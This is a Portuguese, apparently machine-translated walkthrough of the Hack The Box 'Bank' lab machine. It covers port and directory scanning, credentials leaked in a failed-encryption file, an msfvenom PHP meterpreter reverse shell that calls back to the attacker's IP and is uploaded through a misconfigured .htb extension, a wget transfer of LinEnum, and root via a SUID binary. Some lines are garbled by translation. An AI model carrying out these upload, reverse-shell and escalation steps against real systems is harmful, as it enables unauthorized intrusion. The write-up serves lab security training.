O banco é uma máquina relativamente simples, no entanto, a enumeração adequada da web é essencial para encontrar os dados necessários para a entrada
Usaremos as seguintes ferramentas para penhorar a caixa em um Caixa Kali Linux:
- nmap
- gobuster
- Exploração de pesquisa
- msfconsole
- metasploit
- meterperter
- LinEnum
Vamos começar.
Etapa 1 – Reconhecimento
O primeiro passo antes de explorar uma máquina é fazer um pouco de escaneamento e reconhecimento.
Essa é uma das partes mais importantes, pois determinará o que você pode tentar explorar posteriormente. É sempre melhor gastar mais tempo nessa fase para obter o máximo de informações possível.
Port scan
Vou usar o Nmap (Network Mapper). O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança. Ele usa pacotes IP brutos para determinar quais hosts estão disponíveis na rede, quais serviços esses hosts estão oferecendo, quais sistemas operacionais estão executando, que tipo de filtros / firewalls de pacotes estão em uso e dezenas de outras características.
Existem muitos comandos que você pode usar com esta ferramenta para verificar a rede. Se você quiser saber mais sobre isso, consulte a documentação aqui.
Eu uso o seguinte comando para executar uma verificação intensiva:
nmap -A -v bank.htb-UMA: Ativar detecção de SO, detecção de versão, varredura de script e traceroute
-v: Aumentar o nível de verbosidade
bank.htb: nome do host da caixa Banco
Se você achar os resultados um pouco exagerados, poderá executar outro comando para obter apenas as portas abertas.
nmap bank.htbPodemos ver que existem 3 portas abertas:
Porta 22, Secure Shell (SSH), logins seguros, transferências de arquivos (scp, sftp) e encaminhamento de porta
Porta 53, Sistema de nomes de domínio (DNS)
Porta 80, usado com mais frequência pelo HTTP (Hypertext Transfer Protocol)
Verificação de diretório
Eu uso Gobuster. Gobuster é um scanner de diretório escrito em Go. Mais informações sobre a ferramenta aqui. O Gobuster usa listas de palavras no Kali, localizadas no / usr / share / listas de palavras diretório. Estou usando listas de palavras de dirb e dirbuster, mas você pode baixar mais listas de palavras em SecLists aqui
Eu uso este comando para a lista de palavras dirb common.txt
gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txtEu posso ver algumas pastas interessantes. Eu faço outra varredura de diretório com uma lista de palavras diferente.
gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txtEtapa 2 – Visitar a página da web
Desde a fase de reconhecimento, decido começar pela porta 80. Aponta para uma página Apache2 Ubuntu Default. Precisamos definir o nome do host. Seguiremos a convenção padrão para as máquinas HTB, bank.htb
Eu adiciono banco no arquivo / etc / hosts
nano /etc/hostscom
10.10.10.29 bank.htbEu verifico o arquivo com
cat /etc/hostsQuando navego para bank.htb, posso ver uma página de login agora
Desde o reconhecimento do cálice, encontrei algumas pastas. Eu navego para / transferência de saldo
Eu dou uma olhada em alguns arquivos. Todos os arquivos parecem ter o nome completo, email e senha criptografados.
Volto à página principal e clico no Tamanho guia para classificar as transferências. Eu posso ver que um dos arquivos é diferente
Quando clico no arquivo, vejo uma mensagem de erro na parte superior. A criptografia falhou para este arquivo. Eu posso ver todos os detalhes em texto simples
Volto ao painel de login e insiro as credenciais. Agora tenho acesso ao painel do banco HTB. Nada interessante nesta página, então eu passo para o Apoio, suporte página
Na página Suporte, posso carregar arquivos. Vou tentar fazer upload de uma carga útil
Etapa 3 – Usando o MSFvenom para criar uma exploração
Usaremos o MSFvenom, que é um gerador de carga útil. Você pode aprender mais sobre isso aqui
Mas primeiro, vamos ver no Estrutura Metasploit qual carga útil poderíamos usar para criar nossa exploração
Sabemos que precisamos criar um escudo reverso, que é um tipo de shell no qual a máquina de destino se comunica de volta com a máquina atacante. A máquina atacante possui uma porta de ouvinte na qual recebe a conexão que, usando o código ou a execução do comando, é alcançada.
O shell TCP reverso deve ser para PHP e usaremos Meterpreter
No site de Segurança ofensiva, obtemos esta definição para Meterpreter
O Meterpreter é uma carga útil avançada e dinamicamente extensível que usa em memória Estágios de injeção de DLL e é estendido pela rede em tempo de execução. Ele se comunica pelo soquete stager e fornece uma API Ruby abrangente do lado do cliente. Possui histórico de comandos, conclusão de guias, canais e muito mais.
Você pode ler mais sobre o Meterpreter aqui
Eu lanço Metasploit e procure por cargas reversas de TCP. Eu uso o seguinte comando
search php meterpreter reverse_tcpAcho uma carga útil interessante, número 594, que é uma Stager reverso de TCP. Essa carga injeta a DLL do servidor meterpreter por meio da carga reflexiva de injeção de DLL e se conecta novamente ao invasor
payload/php/meterpreter/reverse_tcpAgora vamos voltar para msfvenom para criar nossa façanha
Eu uso o seguinte comando
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.phpEu então verifico com ls se o arquivo foi criado
e eu cat o arquivo para ver a exploração com
cat HTBbankshell.phpVolto à página de suporte. Acrescento o título, a mensagem e carrego o arquivo no formulário
Clico no botão enviar e vejo uma mensagem de erro. O tipo de arquivo não parece funcionar
Verifico o código fonte e vejo um comentário que indica que a extensão do arquivo .htb é necessário para executar o php apenas para fins de depuração
Em seguida, altero a extensão da minha carga útil de HTBbankshell.php para HTBbankshell.htb
Meu arquivo agora está pronto para ser carregado na página de suporte
E parece que funciona! A carga foi carregada na página de suporte
De volta ao Metasploit, onde uso o seguinte comando para definir o manipulador de carga útil
use exploit/multi/handlerPrimeiro configurei a carga
set payload php/meterpreter/reverse_tcpEntão o LHOST
set lhost 10.10.14.36E finalmente o LPORT
set lport 4444Se verificarmos as opções agora, devemos ver que tudo está configurado
Vamos executar a exploração.
Após esta mensagem aparecer
Started reverse TCP handler on 10.10.14.36:4444volte ao navegador e atualize a página em que o script malicioso está hospedado
bank.htb/uploads/HTBbankshell.phpVocê deve ver uma sessão Meterpreter criada
Começo reunindo algumas informações com getuid que retorna o ID do usuário real do processo de chamada e sysinfo
Etapa 5 – procurando o sinalizador user.txt
Começo a navegar para o root e listo as pastas / arquivos.
Eu mudo para o casa diretório com
cd homeE eu posso ver um usuário chamado chris
Eu mudo para o chris diretório e quando eu listar os arquivos …
Eu acho o user.txt Arquivo! Para ler o conteúdo do arquivo, eu uso o comando
cat user.txtAgora que temos a bandeira do usuário, vamos encontrar a bandeira raiz!
Etapa 6 – Executando o escalonamento de privilégios
Eu tento navegar para a pasta raiz e o acesso é negado
usarei LinEnum para enumerar mais informações desta máquina. LinEnum é usado para enumeração Linux com script local e verificações de escalonamento de privilégios. Mais informações aqui
Busco LinEnum de GitHub com
wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shVerifico com este comando se o script foi buscado corretamente
ls -laEu uso o seguinte comando
chmod 777 LinEnum.shalterar a permissão do arquivo e torná-lo legível, gravável e executável por todos
Dentro do meterpreter, verifico a localização do arquivo com
lls -S "LinEnum.sh"Inicio um servidor php em outro terminal com
php -S 10.10.14.36:4444Digite o seguinte comando para obter um shell padrão no sistema de destino
shellEu criei um shell TTY com
python3 -c 'import pty;pty.spawn("/bin/bash/")'E transfiro o arquivo para a máquina com
wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.shonde copio o arquivo da minha caixa Kali para a pasta temp da máquina
Navego até a pasta temporária para verificar se o arquivo foi movido corretamente
Então eu executo o script com
sh ./LinEnum.shA digitalização me fornece muitas informações. Eu procuro o arquivos interessantes seção. Eu verifico o Arquivos SUID seção. SUID é definido como dar permissões temporárias a um usuário para executar um programa / arquivo com as permissões do proprietário do arquivo, em vez do usuário que o executa
Vejo um arquivo interessante
/var/htb/bin/emergencyEu navego para var / htb / emergência
Eu corro com
./emergencye me perguntam se eu quero obter um shell raiz 🙂
Eu tenho acesso root à máquina
Agora posso navegar para o raiz pasta
Eu acho o root.txt Arquivo!
Para ler o conteúdo do arquivo, eu uso o comando
cat root.txtParabéns! Você encontrou as duas bandeiras!
Não hesite em comentar, fazer perguntas ou compartilhar com seus amigos 🙂
Você pode ver mais dos meus artigos aqui
Você pode me seguir Twitter ou em LinkedIn
E não se esqueça de #GetSecure, #BeSecure & #StaySecure!
Outros artigos da Hack The Box
